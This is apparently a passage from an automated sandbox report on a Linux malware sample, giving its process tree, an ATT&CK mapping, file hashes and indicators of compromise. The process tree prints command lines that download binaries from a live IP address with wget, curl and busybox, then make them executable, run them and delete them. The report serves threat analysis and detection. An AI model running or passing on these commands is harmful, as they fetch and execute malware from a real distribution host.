- Executes dropped EXE
PID:956

/bin/rm
rm rLQ6ZqMewQeFHLBachNbYF0Qbq0LLgTa48
2⤵
PID:957

/usr/bin/wget
wget http://87.120.84.230/bins/kP9YLbBrmy8NYYZ77HcGynm0VLeJkN4KMq
2⤵
PID:958

/usr/bin/curl
curl -O http://87.120.84.230/bins/kP9YLbBrmy8NYYZ77HcGynm0VLeJkN4KMq
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:959

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/kP9YLbBrmy8NYYZ77HcGynm0VLeJkN4KMq
2⤵
PID:960

/bin/chmod
chmod 777 kP9YLbBrmy8NYYZ77HcGynm0VLeJkN4KMq
2⤵
- File and Directory Permissions Modification
PID:961

/tmp/kP9YLbBrmy8NYYZ77HcGynm0VLeJkN4KMq
./kP9YLbBrmy8NYYZ77HcGynm0VLeJkN4KMq
2⤵
- Executes dropped EXE
PID:962

/bin/rm
rm kP9YLbBrmy8NYYZ77HcGynm0VLeJkN4KMq
2⤵
PID:963

/usr/bin/wget
wget http://87.120.84.230/bins/sL1w0uWPV91eOVwMNRqt6y4aenZsuX80rl
2⤵
PID:964

/usr/bin/curl
curl -O http://87.120.84.230/bins/sL1w0uWPV91eOVwMNRqt6y4aenZsuX80rl
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:965

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/sL1w0uWPV91eOVwMNRqt6y4aenZsuX80rl
2⤵
PID:966

/bin/chmod
chmod 777 sL1w0uWPV91eOVwMNRqt6y4aenZsuX80rl
2⤵
- File and Directory Permissions Modification
PID:967

/tmp/sL1w0uWPV91eOVwMNRqt6y4aenZsuX80rl
./sL1w0uWPV91eOVwMNRqt6y4aenZsuX80rl
2⤵
- Executes dropped EXE
PID:968

/bin/rm
rm sL1w0uWPV91eOVwMNRqt6y4aenZsuX80rl
2⤵
PID:969

/usr/bin/wget
wget http://87.120.84.230/bins/47tJOUyPvgjmnKkFLDRrKfDe6UCmkI4jPt
2⤵
PID:970

/usr/bin/curl
curl -O http://87.120.84.230/bins/47tJOUyPvgjmnKkFLDRrKfDe6UCmkI4jPt
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:971

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/47tJOUyPvgjmnKkFLDRrKfDe6UCmkI4jPt
2⤵
PID:972

/bin/chmod
chmod 777 47tJOUyPvgjmnKkFLDRrKfDe6UCmkI4jPt
2⤵
- File and Directory Permissions Modification
PID:973

/tmp/47tJOUyPvgjmnKkFLDRrKfDe6UCmkI4jPt
./47tJOUyPvgjmnKkFLDRrKfDe6UCmkI4jPt
2⤵
- Executes dropped EXE
PID:974

/bin/rm
rm 47tJOUyPvgjmnKkFLDRrKfDe6UCmkI4jPt
2⤵
PID:975

/usr/bin/wget
wget http://87.120.84.230/bins/9KtuwmIyCu2831WrZTg35YWBSba74CicDw
2⤵
PID:976

/usr/bin/curl
curl -O http://87.120.84.230/bins/9KtuwmIyCu2831WrZTg35YWBSba74CicDw
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:977

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/9KtuwmIyCu2831WrZTg35YWBSba74CicDw
2⤵
PID:978

/bin/chmod
chmod 777 9KtuwmIyCu2831WrZTg35YWBSba74CicDw
2⤵
- File and Directory Permissions Modification
PID:979

/tmp/9KtuwmIyCu2831WrZTg35YWBSba74CicDw
./9KtuwmIyCu2831WrZTg35YWBSba74CicDw
2⤵
- Executes dropped EXE
PID:980

/bin/rm
rm 9KtuwmIyCu2831WrZTg35YWBSba74CicDw
2⤵
PID:981

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

1

T1222

Linux and Mac File and Directory Permissions Modification

1

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/sL1w0uWPV91eOVwMNRqt6y4aenZsuX80rl

Filesize
153B

MD5
998368d7c95ea4293237f2320546e440

SHA1
30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

SHA256
533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

SHA512
648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97

Download Submit

ioc	pid	process
/tmp/sL1w0uWPV91eOVwMNRqt6y4aenZsuX80rl	740	sL1w0uWPV91eOVwMNRqt6y4aenZsuX80rl
/tmp/V6kf4qke2a3etgSAuaRIAgVJVY3DNIOhnu	746	V6kf4qke2a3etgSAuaRIAgVJVY3DNIOhnu
/tmp/rLQ6ZqMewQeFHLBachNbYF0Qbq0LLgTa48	752	rLQ6ZqMewQeFHLBachNbYF0Qbq0LLgTa48
/tmp/kP9YLbBrmy8NYYZ77HcGynm0VLeJkN4KMq	776	kP9YLbBrmy8NYYZ77HcGynm0VLeJkN4KMq
/tmp/47tJOUyPvgjmnKkFLDRrKfDe6UCmkI4jPt	808	47tJOUyPvgjmnKkFLDRrKfDe6UCmkI4jPt
/tmp/9KtuwmIyCu2831WrZTg35YWBSba74CicDw	815	9KtuwmIyCu2831WrZTg35YWBSba74CicDw
/tmp/JHRJcP4rTn2JJsrmdsdIyL4xKqozNzYvsx	821	JHRJcP4rTn2JJsrmdsdIyL4xKqozNzYvsx
/tmp/mDkPJBMBooUlnQ0ttRh5S4Y333QjG4xy6N	847	mDkPJBMBooUlnQ0ttRh5S4Y333QjG4xy6N
/tmp/5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5	866	5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5
/tmp/kg7i06MjgHyfbI0rokBoJywO6zaylfwMrf	872	kg7i06MjgHyfbI0rokBoJywO6zaylfwMrf
/tmp/hgpncQ9nFpNY9fYWsEltyRNTrKbBhUmG4x	878	hgpncQ9nFpNY9fYWsEltyRNTrKbBhUmG4x
/tmp/GoQ0AIEJkrqVc1r6LQ3oGBtVrSOp5qdWEY	884	GoQ0AIEJkrqVc1r6LQ3oGBtVrSOp5qdWEY
/tmp/RoxS1PQZsIzAQRxvPYANRPLzzMZgp1ZCj2	890	RoxS1PQZsIzAQRxvPYANRPLzzMZgp1ZCj2
/tmp/gNhozjJrEjJcJMo5qqGRzGmoVpyxcLQakf	896	gNhozjJrEjJcJMo5qqGRzGmoVpyxcLQakf
/tmp/5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5	902	5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5
/tmp/kg7i06MjgHyfbI0rokBoJywO6zaylfwMrf	908	kg7i06MjgHyfbI0rokBoJywO6zaylfwMrf
/tmp/hgpncQ9nFpNY9fYWsEltyRNTrKbBhUmG4x	914	hgpncQ9nFpNY9fYWsEltyRNTrKbBhUmG4x
/tmp/JHRJcP4rTn2JJsrmdsdIyL4xKqozNzYvsx	920	JHRJcP4rTn2JJsrmdsdIyL4xKqozNzYvsx
/tmp/mDkPJBMBooUlnQ0ttRh5S4Y333QjG4xy6N	926	mDkPJBMBooUlnQ0ttRh5S4Y333QjG4xy6N
/tmp/GoQ0AIEJkrqVc1r6LQ3oGBtVrSOp5qdWEY	932	GoQ0AIEJkrqVc1r6LQ3oGBtVrSOp5qdWEY
/tmp/RoxS1PQZsIzAQRxvPYANRPLzzMZgp1ZCj2	938	RoxS1PQZsIzAQRxvPYANRPLzzMZgp1ZCj2
/tmp/gNhozjJrEjJcJMo5qqGRzGmoVpyxcLQakf	944	gNhozjJrEjJcJMo5qqGRzGmoVpyxcLQakf
/tmp/V6kf4qke2a3etgSAuaRIAgVJVY3DNIOhnu	950	V6kf4qke2a3etgSAuaRIAgVJVY3DNIOhnu
/tmp/rLQ6ZqMewQeFHLBachNbYF0Qbq0LLgTa48	956	rLQ6ZqMewQeFHLBachNbYF0Qbq0LLgTa48
/tmp/kP9YLbBrmy8NYYZ77HcGynm0VLeJkN4KMq	962	kP9YLbBrmy8NYYZ77HcGynm0VLeJkN4KMq
/tmp/sL1w0uWPV91eOVwMNRqt6y4aenZsuX80rl	968	sL1w0uWPV91eOVwMNRqt6y4aenZsuX80rl
/tmp/47tJOUyPvgjmnKkFLDRrKfDe6UCmkI4jPt	974	47tJOUyPvgjmnKkFLDRrKfDe6UCmkI4jPt
/tmp/9KtuwmIyCu2831WrZTg35YWBSba74CicDw	980	9KtuwmIyCu2831WrZTg35YWBSba74CicDw

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads